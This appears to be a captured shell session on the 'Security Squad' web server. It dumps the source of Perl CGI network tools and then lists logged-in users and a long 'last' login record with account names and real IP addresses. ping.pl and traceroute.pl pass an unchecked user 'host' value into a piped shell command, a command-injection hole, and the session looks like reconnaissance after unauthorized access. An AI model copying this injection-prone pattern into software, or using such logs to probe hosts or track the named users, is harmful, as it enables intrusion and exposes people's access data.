-rwxr-xr-x 1 ssquad ssquad 323 Sep 28 19:40 nslookup.pl
-rwxr-xr-x 1 ssquad ssquad 3049 Sep 28 19:41 output.cgi
-rwxr-xr-x 1 ssquad ssquad 534 Sep 28 19:41 ping.html
-rwxr-xr-x 1 ssquad ssquad 1205 Sep 28 19:41 ping.pl
-rwxr-xr-x 1 ssquad ssquad 549 Sep 28 19:41 trace.html
-rwxr-xr-x 1 ssquad ssquad 1202 Sep 28 19:41 traceroute.pl
-rwxr-xr-x 1 ssquad ssquad 7698 Sep 28 19:41 whois.pl
$ cd tools
$ strings -f *.pl *.cgi
nslookup.pl: #!/usr/bin/perl
nslookup.pl: print "Content-Type: text/html\n\n";
nslookup.pl: print "<center><b>Security Squad :: Tools :: NsLookUp</center></b>";
nslookup.pl: require 'output.cgi';
nslookup.pl: ($query, $action) = &data_parse;
nslookup.pl: $command = 'nslookup';
nslookup.pl: $start = &gettime;
nslookup.pl: $output = `$command $query`;
nslookup.pl: $stop = &gettime;
nslookup.pl: &show($start,$stop,$command,$query,$output,"NS Lookup");
ping.pl: #!/usr/bin/perl
ping.pl: use strict;
ping.pl: my $bin_ping = 'ping';
ping.pl: my $ping_count = 5;
ping.pl: my $bin_traceroute = '/usr/sbin/traceroute';
ping.pl: my $template_file = 'ping.html';
ping.pl: # Instantiate input
ping.pl: my $input;
ping.pl: if (eval 'require CGI::Minimal')
ping.pl: CGI::Minimal::max_read_size(1000000);
ping.pl: $input = new CGI::Minimal();
ping.pl: else
ping.pl: require CGI;
ping.pl: $CGI::POST_MAX = 1024 * 10;
ping.pl: $CGI::DISABLE_UPLOADS = 1;
ping.pl: $input = new CGI;
ping.pl: my $host = $input->param('host') ;
ping.pl: my $util = $input->param('util');
ping.pl: my $do = $input->param('do');
ping.pl: my $cmd;
ping.pl: if ($do && $util =~ /^ping|traceroute$/)
ping.pl: if ($util eq 'ping')
ping.pl: $cmd = "$bin_ping -c $ping_count '$host'";
ping.pl: elsif($util eq 'traceroute')
ping.pl: $cmd = "$bin_traceroute '$host'";
ping.pl: $| = 1;
ping.pl: my %vars =
ping.pl: 'cmd'=>$cmd,
ping.pl: 'host'=>$host,
ping.pl: 'util'=>$util
ping.pl: $vars{"$util\ping_selected"} = 'selected="selected"';
ping.pl: print "Content-type: text/html\n\n";
ping.pl: open(HTML, "$template_file");
ping.pl: while(my $line = scalar <HTML>)
ping.pl: if ($line =~ /\$results/ && defined $cmd)
ping.pl: my($b,$a) = split /\$results/,$line,2;
ping.pl: print $b;
ping.pl: open(UTIL, "$cmd 2>&1|");
ping.pl: while(<UTIL>)
ping.pl: print;
ping.pl: close(UTIL);
ping.pl: print $a;
ping.pl: else
ping.pl: $line =~ s/\$(\w+)/$vars{$1}/g;
ping.pl: print $line;
ping.pl: close(HTML);
traceroute.pl: #!/usr/bin/perl
traceroute.pl: use strict;
traceroute.pl: my $bin_ping = 'ping';
traceroute.pl: my $ping_count = 5;
traceroute.pl: my $bin_traceroute = '/usr/sbin/traceroute';
traceroute.pl: my $template_file = 'trace.html';
traceroute.pl: # Instantiate input
traceroute.pl: my $input;
traceroute.pl: if (eval 'require CGI::Minimal')
traceroute.pl: CGI::Minimal::max_read_size(1000000);
traceroute.pl: $input = new CGI::Minimal();
traceroute.pl: else
traceroute.pl: require CGI;
traceroute.pl: $CGI::POST_MAX = 1024 * 10;
traceroute.pl: $CGI::DISABLE_UPLOADS = 1;
traceroute.pl: $input = new CGI;
traceroute.pl: my $host = $input->param('host') ;
traceroute.pl: my $util = $input->param('util');
traceroute.pl: my $do = $input->param('do');
traceroute.pl: my $cmd;
traceroute.pl: if ($do && $util =~ /^ping|traceroute$/)
traceroute.pl: if ($util eq 'ping')
traceroute.pl: $cmd = "$bin_ping -c $ping_count '$host'";
traceroute.pl: elsif($util eq 'traceroute')
traceroute.pl: $cmd = "$bin_traceroute '$host'";
traceroute.pl: $| = 1;
traceroute.pl: my %vars =
traceroute.pl: 'cmd'=>$cmd,
traceroute.pl: 'host'=>$host,
traceroute.pl: 'util'=>$util
traceroute.pl: $vars{"$util\_selected"} = 'selected="selected"';
traceroute.pl: print "Content-type: text/html\n\n";
traceroute.pl: open(HTML, "$template_file");
traceroute.pl: while(my $line = scalar <HTML>)
traceroute.pl: if ($line =~ /\$results/ && defined $cmd)
traceroute.pl: my($b,$a) = split /\$results/,$line,2;
traceroute.pl: print $b;
traceroute.pl: open(UTIL, "$cmd 2>&1|");
traceroute.pl: while(<UTIL>)
traceroute.pl: print;
traceroute.pl: close(UTIL);
traceroute.pl: print $a;
traceroute.pl: else
traceroute.pl: $line =~ s/\$(\w+)/$vars{$1}/g;
traceroute.pl: print $line;
traceroute.pl: close(HTML);
whois.pl: #!/usr/bin/perl
whois.pl: print "Content-Type: text/html\n\n";
whois.pl: print "<center><b>Security Squad :: Tools :: WhoIS</center></b>";
whois.pl: require 'output.cgi';
whois.pl: &main;
whois.pl: sub main {
whois.pl: ($query, $action) = &data_parse;
whois.pl: $command = "Whois Query";
whois.pl: $port = "43";
whois.pl: my @temp = split(/:/, $query);
whois.pl: $input = $temp[0];
whois.pl: $server = $temp[1];
whois.pl: $ts = 1 if $temp[1];
whois.pl: @pts = split(/\./, $input);
whois.pl: if($pts[0] eq 'www' || $#pts > 2)
whois.pl: {
whois.pl: &show("","",$command,$input,"Only certain top level domains are supported by this script. \nDo not include www when submitting your request","Whois ");
whois.pl: exit;
whois.pl: }
whois.pl: $nnum = $#pts;
whois.pl: $domain = lc($pts[$nnum]);
whois.pl: # whois servers, updates from http://www.apnic.net/maps/tld-list.html
whois.pl: %ext = (
whois.pl: 'ad','whois.ripe.net',
whois.pl: 'af','whois.nic.af',
whois.pl: 'al','whois.ripe.net',
whois.pl: 'am','whois.ripe.net',
whois.pl: 'as','whois.nic.as',
whois.pl: 'at','whois.ripe.net',
whois.pl: 'au','whois.aunic.net',
whois.pl: 'az','whois.ripe.net',
whois.pl: 'ba','whois.ripe.net',
whois.pl: 'be','whois.ripe.net',
whois.pl: 'bg','whois.ripe.net',
whois.pl: 'bm','rwhois.bermudanic.bm',
whois.pl: 'br','whois.nic.br',
whois.pl: 'bt','whois.nic.bt',
whois.pl: 'by','whois.ripe.net',
whois.pl: 'ca','whois.cdnnet.ca',
whois.pl: 'cc','whois.nic.cc',
whois.pl: 'ch','whois.nic.ch',
whois.pl: 'ck','whois.ck-nic.org.ck',
whois.pl: 'cn','whois.cnnic.net.cn',
whois.pl: 'com','whois.crsnic.net',
whois.pl: 'cx','whois.nic.cx',
whois.pl: 'cy','whois.ripe.net',
whois.pl: 'cz','whois.ripe.net',
whois.pl: 'de','whois.ripe.net',
whois.pl: 'dk','whois.ripe.net',
whois.pl: 'dz','whois.ripe.net',
whois.pl: 'ee','whois.ripe.net',
whois.pl: 'edu','whois.crsnic.net',
whois.pl: 'eg','whois.ripe.net',
whois.pl: 'es','whois.ripe.net',
whois.pl: 'fi','whois.ripe.net',
whois.pl: 'fo','whois.ripe.net',
whois.pl: 'fr','whois.ripe.net',
whois.pl: 'ga','whois.ripe.net',
whois.pl: 'gb','whois.ripe.net',
whois.pl: 'ge','whois.ripe.net',
whois.pl: 'gf','whois.nplus.gf',
whois.pl: 'gi','whois.nic.gi',
whois.pl: 'gl','whois.ripe.net',
whois.pl: 'gm','whois.ripe.net',
whois.pl: 'gov','whois.nic.gov',
whois.pl: 'gr','whois.ripe.net',
whois.pl: 'gs','whois.adamsnames.tc',
whois.pl: 'hk','whois.hknic.net.hk',
whois.pl: 'hm','whois.nic.hm',
whois.pl: 'hr','whois.ripe.net',
whois.pl: 'hu','whois.ripe.net',
whois.pl: 'id','whois.idnic.net.id',
whois.pl: 'il','whois.ripe.net',
whois.pl: 'in','whois.ncst.ernet.in',
whois.pl: 'io','whois.io',
whois.pl: 'is','whois.ripe.net',
whois.pl: 'it','whois.ripe.net',
whois.pl: 'jo','whois.ripe.net',
whois.pl: 'jp','whois.nic.ad.jp',
whois.pl: 'kr','whois.krnic.net',
whois.pl: 'kz','whois.domain.kz',
whois.pl: 'li','whois.nic.li',
whois.pl: 'lk','whois.nic.lk',
whois.pl: 'lt','whois.ripe.net',
whois.pl: 'lu','whois.ripe.net',
whois.pl: 'lv','whois.ripe.net',
whois.pl: 'ly','whois.nic.ly',
whois.pl: 'ma','whois.ripe.net',
whois.pl: 'mc','whois.ripe.net',
whois.pl: 'md','whois.ripe.net',
whois.pl: 'mil','whois.nic.mil',
whois.pl: 'mk','whois.ripe.net',
whois.pl: 'mm','whois.nic.mm',
whois.pl: 'ms','whois.adamsnames.tc',
whois.pl: 'mt','whois.ripe.net',
whois.pl: 'mx','whois.nic.mx',
whois.pl: 'net','whois.crsnic.net',
whois.pl: 'nl','www.domain-registry.nl',
whois.pl: 'no','whois.ripe.net',
whois.pl: 'nu','whois.nic.nu',
whois.pl: 'nz','whois.patho.gen.nz',
whois.pl: 'org','whois.crsnic.net',
whois.pl: 'pe','rwhois.rcp.net.pe',
whois.pl: 'pk','whois.pknic.net.pk',
whois.pl: 'pl','whois.ripe.net',
whois.pl: 'pr','whois.uprr.pr',
whois.pl: 'pw','whois.nic.pw',
whois.pl: 'ro','whois.ripe.net',
whois.pl: 'ru','whois.ripn.net',
whois.pl: 'se','whois.nic-se.se',
whois.pl: 'sg','whois.nic.net.sg',
whois.pl: 'sh','whois.nic.sh',
whois.pl: 'si','whois.ripe.net',
whois.pl: 'sk','whois.ripe.net',
whois.pl: 'sm','whois.ripe.net',
whois.pl: 'so','whois.nic.so',
whois.pl: 'st','whois.nic.st',
whois.pl: 'tc','whois.adamsnames.tc',
whois.pl: 'tf','whois.adamsnames.tc',
whois.pl: 'th','whois.thnic.net',
whois.pl: 'tj','whois.nic.tj',
whois.pl: 'tm','whois.nic.tm',
whois.pl: 'tn','whois.ripe.net',
whois.pl: 'to','whois.tonic.to',
whois.pl: 'tr','whois.ripe.net',
whois.pl: 'tw','whois.twnic.net',
whois.pl: 'ua','whois.ripe.net',
whois.pl: 'uk','whois.nic.uk',
whois.pl: 'us','whois.isi.edu',
whois.pl: 'va','whois.ripe.net',
whois.pl: 've','rwhois.reacciun.ve',
whois.pl: 'vg','whois.adamsnames.tc',
whois.pl: 'yu','whois.ripe.net',
whois.pl: 'za','whois.frd.ac.za',
whois.pl: );
whois.pl: $server = $ext{$domain} if ($ext{$domain} && !$server);
whois.pl: # default server
whois.pl: $server = 'whois.crsnic.net' if $server eq '';
whois.pl: # added support for .co.za domains
whois.pl: if ($input =~ /\.co\.za$/i)
whois.pl: {
whois.pl: $server = 'co.za';
whois.pl: $port = 80;
whois.pl: $input = "GET /cgi-bin/whois.sh?Domain=$input";
whois.pl: &IOSocket;
whois.pl: $output = join("THIS IS A DELIMITER", @output);
whois.pl: $output =~ s/<([^>]*)>//ig;
whois.pl: $output =~ s/\n+/\n/ig;
whois.pl: @output = split(/THIS IS A DELIMITER/, $output);
whois.pl: }
whois.pl: # added support for correct .ie domains
whois.pl: elsif ($input =~ /\.ie$/i)
whois.pl: {
whois.pl: $server = "www.domainregistry.ie";
whois.pl: $port = 80;
whois.pl: $input = "GET /cgi-bin/dns-search.cgi?foo=foo&domain=$input";
whois.pl: &IOSocket;
whois.pl: $output = join("DELIMITER!", @output);
whois.pl: $output =~ s/\s+/ /g;
whois.pl: $output =~ s/<br>/\n/ig;
whois.pl: $output =~ s/<p>/\n\n/ig;
whois.pl: $output =~ s/\n\n*/\n/g;
whois.pl: $output =~ s/<([^>]*)>//ig;
whois.pl: @output = split(/DELIMITER!/, $output);
whois.pl: }
whois.pl: else
whois.pl: {
whois.pl: &IOSocket;
whois.pl: }
whois.pl: if (($domain eq 'com' || $domain eq 'net' || $domain eq 'org' || $domain eq 'edu') && ($ts != 1))
whois.pl: {
whois.pl: my (@INFO) = @output;
whois.pl: foreach $line(@INFO)
whois.pl: {
whois.pl: if ($line =~ /Registrar:/i)
whois.pl: {
whois.pl: my @tmp = split(/:/, $line);
whois.pl: $registrar = $tmp[1];
whois.pl: $available = "This domain has already been registered.\nDisplaying domain information provided by $registrar\n";
whois.pl: }
whois.pl: if ($line =~ /Whois Server:/i)
whois.pl: {
whois.pl: my @temp = split(/:/, $line);
whois.pl: $nextserv = $temp[1];
whois.pl: chomp($nextserv);
whois.pl: $nextserv =~ s/\s+//ig;
whois.pl: last;
whois.pl: }
whois.pl: }
whois.pl: if($nextserv)
whois.pl: {
whois.pl: $server = $nextserv;
whois.pl: &IOSocket;
whois.pl: }
whois.pl: else
whois.pl: {
whois.pl: $available = "This domain is available\n";
whois.pl: }
whois.pl: }
whois.pl: $output = "Connected to $server\n$available".join(" ", @output)."\nUse the following syntax if you wish to specify which whois\nserver will handle your request.\t query:server";
whois.pl: $stop = &gettime;
whois.pl: &show($start,$stop,$command,$query,$output,"Whois ");
whois.pl: sub IOSocket{
whois.pl: use IO::Socket;
whois.pl: $start = &gettime;
whois.pl: $next = "\015\012";
whois.pl: $socket = IO::Socket::INET->new(Proto=>"tcp",
whois.pl: PeerAddr=>$server,PeerPort=>$port,);
whois.pl: unless ($socket) { $stop = &gettime; die &show($start,$stop,$command,$input,"$@",$special); }
whois.pl: print $socket "$input" . $next;
whois.pl: @output = <$socket>;
whois.pl: close $socket;
index.cgi: #!/usr/bin/perl
index.cgi: print "Content-Type: text/html\n\n";
index.cgi: print qq~<table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <table cellspacing="0" cellpadding="0" border="0" width="570">
index.cgi: <tbody><tr><td width="33%">
index.cgi: <form action="whois.pl" method="post" target="_blank">
index.cgi: <input name="input"> <input align="" alt="Go" name="" border="0" src="http://ssquad.com/images/2.gif" type="image" >
index.cgi: </form></td>
index.cgi: <td vAlign="top" width="67%">
index.cgi: <b><font class="bold" color="#373292"> SmartWhois:
index.cgi: </font></b>
index.cgi: SmartWhois -
index.cgi:
index.cgi: IP
index.cgi:
index.cgi:
index.cgi: SmartWhois
index.cgi: Windows.</td>
index.cgi: </tr>
index.cgi: </tbody>
index.cgi: </table><br>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <table cellspacing="0" cellpadding="0" border="0" width="570">
index.cgi: <tbody>
index.cgi: <tr>
index.cgi: <td width="100%"> </td>
index.cgi: </tr>
index.cgi: </tbody>
index.cgi: </table>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <table cellspacing="0" cellpadding="0" border="0" width="570">
index.cgi: <tbody>
index.cgi: <tr>
index.cgi: <td width="33%">
index.cgi: <form action="traceroute.pl" method="post" target="_blank">
index.cgi: <input name="input"><input align="" alt="Go" name="" border="0" src="http://ssquad.com/images/2.gif" type="image" >
index.cgi: </form>
index.cgi: </td>
index.cgi: <td vAlign="top" width="67%">
index.cgi: <font class="bold" color="#373292"><b>TraceRoute:
index.cgi: </b></font>
index.cgi: TraceRoute -
index.cgi:
index.cgi: TraceRoute
index.cgi:
index.cgi:
index.cgi: IP
index.cgi:
index.cgi:
index.cgi:
index.cgi:
index.cgi: ).</td>
index.cgi: </tr>
index.cgi: </tbody>
index.cgi: </table><br>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <tbody>
index.cgi: <tr>
index.cgi: <td width="100%"> </td>
index.cgi: </tr>
index.cgi: </tbody>
index.cgi: </table>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <table cellspacing="0" cellpadding="0" border="0" width="570">
index.cgi: <tbody>
index.cgi: <tr>
index.cgi: <td width="33%">
index.cgi: <form action="ping.pl" method="post" target="_blank">
index.cgi: <input name="input"><input align="" alt="Go" name="" border="0" src="http://ssquad.com/images/2.gif" type="image" >
index.cgi: </form>
index.cgi: </td>
index.cgi: <td vAlign="top" width="67%">
index.cgi: <b><font class="bold" color="#373292">Ping:
index.cgi: </font></b>
index.cgi: Ping -
index.cgi:
index.cgi: ECHO
index.cgi:
index.cgi:
index.cgi:
index.cgi:
index.cgi: .</td>
index.cgi: </tr>
index.cgi: </tbody>
index.cgi: </table><br>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <tbody>
index.cgi: <tr>
index.cgi: <td width="100%"> </td>
index.cgi: </tr>
index.cgi: </tbody>
index.cgi: </table>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <table cellspacing="0" cellpadding="0" border="0" width="570">
index.cgi: <tbody>
index.cgi: <tr>
index.cgi: <td width="33%">
index.cgi: <form action="nslookup.pl" method="post" target="_blank">
index.cgi: <input name="input"><input align="" alt="Go" name="" src="http://ssquad.com/images/2.gif" type="image" >
index.cgi: </form>
index.cgi: </td>
index.cgi: <td vAlign="top" width="67%">
index.cgi: <font class="bold" color="#373292"><b>NsLookup:
index.cgi: </b></font>
index.cgi: NsLookup -
index.cgi:
index.cgi: IP
index.cgi:
index.cgi:
index.cgi: IP
index.cgi: .</td>
index.cgi: </tr>
index.cgi: </tbody>
index.cgi: </table>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <tbody>
index.cgi: <tr>
index.cgi: <td width="100%"> </td>
index.cgi: </tr>
index.cgi: </tbody>
index.cgi: </table>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <tbody>
index.cgi: </tbody>
index.cgi: </table>
index.cgi: </td></tr></table>
index.cgi: </table><br> ~;
output.cgi: #!/usr/bin/perl
output.cgi: use CGI qw(:all);
output.cgi: $log_requests = 0;
output.cgi: # contents of body tag
output.cgi: $body = qq~body bgcolor="#FFFFFF" text="#000000" link="#336699" alink="#FFFFFF" vlink="#990033"~;
output.cgi: $use_full_headers = 0;
output.cgi: # names of the files
output.cgi: %filenames = (
output.cgi: 'Whois' => 'whois.pl',
output.cgi: 'NS lookup' => 'nslookup.pl',
output.cgi: 'output' => 'output.cgi'
output.cgi: );
output.cgi: #====================================================================
output.cgi: $aaa = $filenames{'output'};
output.cgi: if ($ENV{'SCRIPT_NAME'} =~ /$aaa$/m)
output.cgi: $form = '
output.cgi: <script language="Javascript">
output.cgi: <!--
output.cgi: function GoTo(){
output.cgi: tool = document.ToolForm.toolselect.options[document.ToolForm.toolselect.selectedIndex].value
output.cgi: query = document.ToolForm.input.value
output.cgi: if(query == \'\')
output.cgi: {
output.cgi: return
output.cgi: }
output.cgi: else
output.cgi: {
output.cgi: location = tool + query
output.cgi: }
output.cgi: }
output.cgi: //-->
output.cgi: </script>
output.cgi: <form name=ToolForm method=GET action="javascript:GoTo()">
output.cgi: <font face="arial,helvetica" size=2>
output.cgi: Security Squad :: Tools<br>
output.cgi: <select name="toolselect">
output.cgi: ';
output.cgi: foreach $key(keys(%filenames))
output.cgi: unless ($key eq 'output')
output.cgi: {
output.cgi: $form .= "<option value=\"$filenames{$key}?\">$key";
output.cgi: }
output.cgi: $form .= '
output.cgi: </select>
output.cgi: <input name="input"><input type=button value="Submit Query" onClick="GoTo()">
output.cgi: </font>
output.cgi: </form>
output.cgi: ';
output.cgi: &show();
output.cgi: sub data_parse{
output.cgi: my ($query, $action);
output.cgi: if ($ENV{'REQUEST_METHOD'} eq 'POST')
output.cgi: {
output.cgi: read(STDIN, $query, $ENV{'CONTENT_LENGTH'});
output.cgi: $query =~ /action=([^\&]*)\&/;
output.cgi: $action = $1;
output.cgi: $query =~ s/action=([^\&]*)\&//g;
output.cgi: $query =~ s/input=//g;
output.cgi: $query =~ tr/+/ /;
output.cgi: $query =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
output.cgi: }
output.cgi: else
output.cgi: {
output.cgi: $query = $ENV{'QUERY_STRING'};
output.cgi: }
output.cgi: $query =~ s/[ ;\[\]\<\>&\$\*\?\(\)\|\{\}\\\'\"\`\~\!]//g;
output.cgi: $query =~ s/\s+//ig;
output.cgi: &show('','','','','Enter you query ','') if ($query eq '');
output.cgi: return ($query, $action);
output.cgi: sub gettime{
output.cgi: ($Second, $Minute, $Hour, $DayOfMonth, $Month, $Year,$WeekDay, $DayOfYear, $IsDST) = localtime(time);
output.cgi: $DateAndTime = sprintf("%02d:%02d:%02d" ,$Hour, $Minute,$Second);
output.cgi: return($DateAndTime);
output.cgi: sub show{
output.cgi: local($start,$stop,$command,$query,$output,$special) = @_;
output.cgi: print "HTTP/1.0 200 OK\n" if ($use_full_headers);
output.cgi: $form = qq~<FORM ACTION="$ENV{'SCRIPT_NAME'}" method=POST><INPUT NAME="input" value="$query" size="30"> <input type=submit value=Do></form>~ unless ($form);
output.cgi: # remove HTML from $output
output.cgi: $output =~ s/</</g;
output.cgi: $output =~ s/>/>/g;
output.cgi: $HTML = qq~
output.cgi: <html>
output.cgi: <head>
output.cgi: <title>Security Squad :: Tools</title>
output.cgi: </head>
output.cgi: <$body>
output.cgi: <br /><table width=100% cellpadding=0 cellspacing=0><tr><td>
output.cgi: <font face="arial,helvetica" size=2>
output.cgi: $HTML .= $form;
output.cgi: $HTML .= qq~ <hr> ~;
output.cgi: $HTML .= "<pre>$output</pre>\n" if ($output);
output.cgi:
output.cgi: $HTML .= qq~
output.cgi: </font>
output.cgi: </td></tr></table>
output.cgi: </body></html>
output.cgi: print $HTML;
output.cgi: exit;
$ echo nice
nice
$ w
7:39PM up 5 days, 5:20, 4 users, load averages: 0.58, 0.55, 0.54
USER TTY FROM LOGIN@ IDLE WHAT
gdp p0 mahaon.ints.net 10:18AM 56 -
gdp p1 pc61.srv.h.starm Thu10AM 2:56 -
gdp p2 pc61.srv.h.starm Thu10AM 3:20 -
admin p4 ip167.cab4.lsn.s 10:31AM 9:07 -
$ last
story ftp 80.235.127.254 Mon Oct 25 19:31 still logged in
bfbalth ftp 62.65.206.196 Mon Oct 25 19:26 - 19:26 (00:00)
alexclk ftp 217.86.149.10 Mon Oct 25 19:22 - 19:23 (00:00)
coder ftp 80.66.244.17 Mon Oct 25 19:21 - 19:22 (00:01)
forumlif ftp 212.7.8.79 Mon Oct 25 19:21 - 19:31 (00:09)
zlg ftp 194.186.32.99 Mon Oct 25 19:11 - 19:25 (00:13)
anime ftp 82.147.183.229 Mon Oct 25 19:11 - 19:12 (00:00)
coder ftp 80.66.244.17 Mon Oct 25 19:01 - 19:03 (00:01)
odyssey ftp 213.158.3.97 Mon Oct 25 18:50 - 19:05 (00:15)
wh ftp 212.15.119.149 Mon Oct 25 18:50 - 19:00 (00:10)
alexclk ftp 217.86.149.10 Mon Oct 25 18:46 - 18:47 (00:00)
chenla ftp 213.35.239.67 Mon Oct 25 18:44 still logged in
takaja ftp 194.204.29.7 Mon Oct 25 18:44 still logged in
anime ftp 82.147.183.229 Mon Oct 25 18:41 - 19:11 (00:30)
forumlif ftp 194.106.127.118 Mon Oct 25 18:40 - 19:35 (00:54)
albalt ftp 217.159.170.70 Mon Oct 25 18:28 - 18:28 (00:00)
tulksco ftp 217.199.109.35 Mon Oct 25 18:26 - 18:33 (00:06)
albalt ftp 217.159.170.70 Mon Oct 25 18:26 - 18:26 (00:00)
forumlif ftp 194.106.127.118 Mon Oct 25 18:21 - 18:21 (00:00)
albalt ftp 217.159.170.70 Mon Oct 25 18:21 - 18:21 (00:00)
tulksco ftp 217.199.109.35 Mon Oct 25 18:16 - 18:16 (00:00)
[email protected] ftp 213.158.3.142 Mon Oct 25 17:57 - 18:07 (00:10)
tulksco ftp 217.199.109.35 Mon Oct 25 17:51 - 17:54 (00:02)
odyssey ftp 213.158.3.202 Mon Oct 25 17:24 - 17:35 (00:11)
tetatet ftp 193.110.73.92 Mon Oct 25 17:20 - 17:44 (00:24)
[email protected] ftp 82.207.19.69 Mon Oct 25 17:15 - 17:38 (00:23)
processor ftp 217.159.188.187 Mon Oct 25 17:13 - 17:23 (00:10)
zlg ftp 194.186.32.74 Mon Oct 25 17:01 - 17:18 (00:16)
gansta ftp 213.35.211.150 Mon Oct 25 16:51 - 17:49 (00:57)
webb ftp 82.147.171.109 Mon Oct 25 16:51 - 16:51 (00:00)
sathyasa ftp 80.235.52.127 Mon Oct 25 16:43 - 16:43 (00:00)
albalt ftp 217.159.170.70 Mon Oct 25 16:43 - 16:43 (00:00)
sathyasa ftp 80.235.52.127 Mon Oct 25 16:41 - 16:41 (00:00)
albalt ftp 217.159.170.70 Mon Oct 25 16:41 - 16:41 (00:00)
sathyasa ftp 80.235.52.127 Mon Oct 25 16:32 - 16:32 (00:00)
albalt ftp 217.159.170.70 Mon Oct 25 16:32 - 17:13 (00:41)
baersoft ftp 67.15.4.5 Mon Oct 25 16:30 - 16:34 (00:04)
sathyasa ftp 80.235.52.127 Mon Oct 25 16:29 - 16:29 (00:00)
webb ftp 82.147.171.109 Mon Oct 25 16:28 - 16:38 (00:10)
tetatet ftp 193.110.73.92 Mon Oct 25 16:28 - 17:18 (00:50)
sathyasa ftp 80.235.52.127 Mon Oct 25 16:27 - 16:27 (00:00)
wizarea ftp 83.237.170.220 Mon Oct 25 16:21 - 16:36 (00:15)
gansta ftp 213.35.211.150 Mon Oct 25 16:14 - 16:40 (00:25)
sathyasa ftp 80.235.52.127 Mon Oct 25 16:12 - 16:12 (00:00)
tetatet ftp 193.110.73.92 Mon Oct 25 16:04 - 16:11 (00:06)
anime ftp 82.147.177.144 Mon Oct 25 16:01 - 16:51 (00:49)
processor ftp 217.159.188.187 Mon Oct 25 15:59 - 16:10 (00:11)
tetatet ftp 193.110.73.92 Mon Oct 25 15:48 - 16:04 (00:15)
anime ftp 82.147.177.144 Mon Oct 25 15:45 - 15:55 (00:09)
vzbalt ftp 217.85.255.142 Mon Oct 25 15:01 - 15:08 (00:06)
webb ftp 82.147.171.109 Mon Oct 25 15:00 - 15:01 (00:00)
tulksco ftp 217.199.109.35 Mon Oct 25 14:29 - 14:30 (00:00)
progzn ftp 81.176.95.82 Mon Oct 25 14:25 - 14:25 (00:00)
wizarea ftp 83.237.169.101 Mon Oct 25 14:20 - 15:14 (00:54)
balticsclan ftp 217.159.173.198 Mon Oct 25 14:07 - 14:10 (00:02)
anime ftp 82.147.177.144 Mon Oct 25 14:06 - 14:27 (00:21)
balticsclan ftp 217.159.173.198 Mon Oct 25 13:56 - 14:08 (00:11)
tetatet ftp 193.110.73.92 Mon Oct 25 13:52 - 14:08 (00:15)
wizarea ftp 83.237.168.153 Mon Oct 25 13:38 - 14:12 (00:33)
anime ftp 82.147.177.144 Mon Oct 25 13:37 - 14:01 (00:24)
[email protected] ftp 193.124.102.202 Mon Oct 25 13:34 - 13:54 (00:19)
wizarea ftp 83.237.168.153 Mon Oct 25 13:23 - 13:29 (00:05)
dolba3bid@ssqua ftp 62.33.236.160 Mon Oct 25 13:17 - 13:29 (00:11)
novo_logs ftp 212.188.97.19 Mon Oct 25 13:07 - 13:09 (00:01)
dolba3bid@ssqua ftp 195.131.85.53 Mon Oct 25 12:56 - 13:00 (00:03)
anime ftp 82.147.177.144 Mon Oct 25 12:56 - 13:11 (00:15)
dolba3bid@ssqua ftp 194.84.213.245 Mon Oct 25 12:55 - 12:58 (00:02)
sandsst ftp 217.107.79.5 Mon Oct 25 12:54 - 12:57 (00:02)
wizarea ftp 83.237.171.23 Mon Oct 25 12:53 - 13:04 (00:11)
ssquad ftp 195.131.85.53 Mon Oct 25 12:52 - 12:52 (00:00)
petersc ftp 217.85.255.142 Mon Oct 25 12:50 - 12:51 (00:01)
anime ftp 82.147.177.144 Mon Oct 25 12:50 - 12:53 (00:03)
dolba3bid@ssqua ftp 195.131.85.53 Mon Oct 25 12:49 - 12:51 (00:02)
nimble ftp 213.130.7.37 Mon Oct 25 12:45 - 12:54 (00:08)
wizarea ftp 83.237.171.23 Mon Oct 25 12:42 - 12:50 (00:07)
dolba3bid@ssqua ftp 195.131.85.53 Mon Oct 25 12:38 - 12:40 (00:02)
tdz ftp 62.33.55.207 Mon Oct 25 12:34 - 12:35 (00:00)
rafasoft ftp 216.236.117.139 Mon Oct 25 12:34 - 12:35 (00:01)
anime ftp 82.147.177.144 Mon Oct 25 12:31 - 12:48 (00:16)
progzn ftp 81.176.95.82 Mon Oct 25 12:26 - 12:27 (00:00)
progzn ftp 81.176.95.82 Mon Oct 25 12:23 - 12:33 (00:10)
logotech ftp 217.107.79.5 Mon Oct 25 12:13 - 12:23 (00:10)
shelter@pavelju ftp 162.83.62.49 Mon Oct 25 12:03 - 12:03 (00:00)
logotech ftp 217.107.79.5 Mon Oct 25 12:01 - 12:08 (00:07)
ssquad ftp 195.131.85.53 Mon Oct 25 11:53 - 12:04 (00:10)
tdz ftp 62.33.55.207 Mon Oct 25 11:52 - 11:52 (00:00)
xakep ftp 195.112.232.41 Mon Oct 25 11:42 - 11:44 (00:02)
dolba3bid@ssqua ftp 195.131.85.53 Mon Oct 25 11:41 - 11:49 (00:08)
ssquad ftp 195.131.85.53 Mon Oct 25 11:37 - 11:37 (00:00)
dolba3bid@ssqua ftp 195.131.85.53 Mon Oct 25 11:37 - 11:37 (00:00)
ssquad ftp 195.131.85.53 Mon Oct 25 11:36 - 11:37 (00:00)
dolba3bid@ssqua ftp 195.131.85.53 Mon Oct 25 11:36 - 11:36 (00:00)
ssquad ftp 195.131.85.53 Mon Oct 25 11:35 - 11:36 (00:00)
dolba3bid@ssqua ftp 195.131.85.53 Mon Oct 25 11:31 - 11:35 (00:04)
baersoft ftp 212.90.97.237 Mon Oct 25 11:25 - 11:25 (00:00)
xakep ftp 195.112.232.76 Mon Oct 25 11:22 - 11:32 (00:10)
auto ftp 193.40.12.204 Mon Oct 25 11:22 - 11:22 (00:00)
baersoft ftp 212.90.97.237 Mon Oct 25 11:21 - 11:25 (00:03)
tetatet ftp 193.110.73.92 Mon Oct 25 11:17 - 12:03 (00:46)
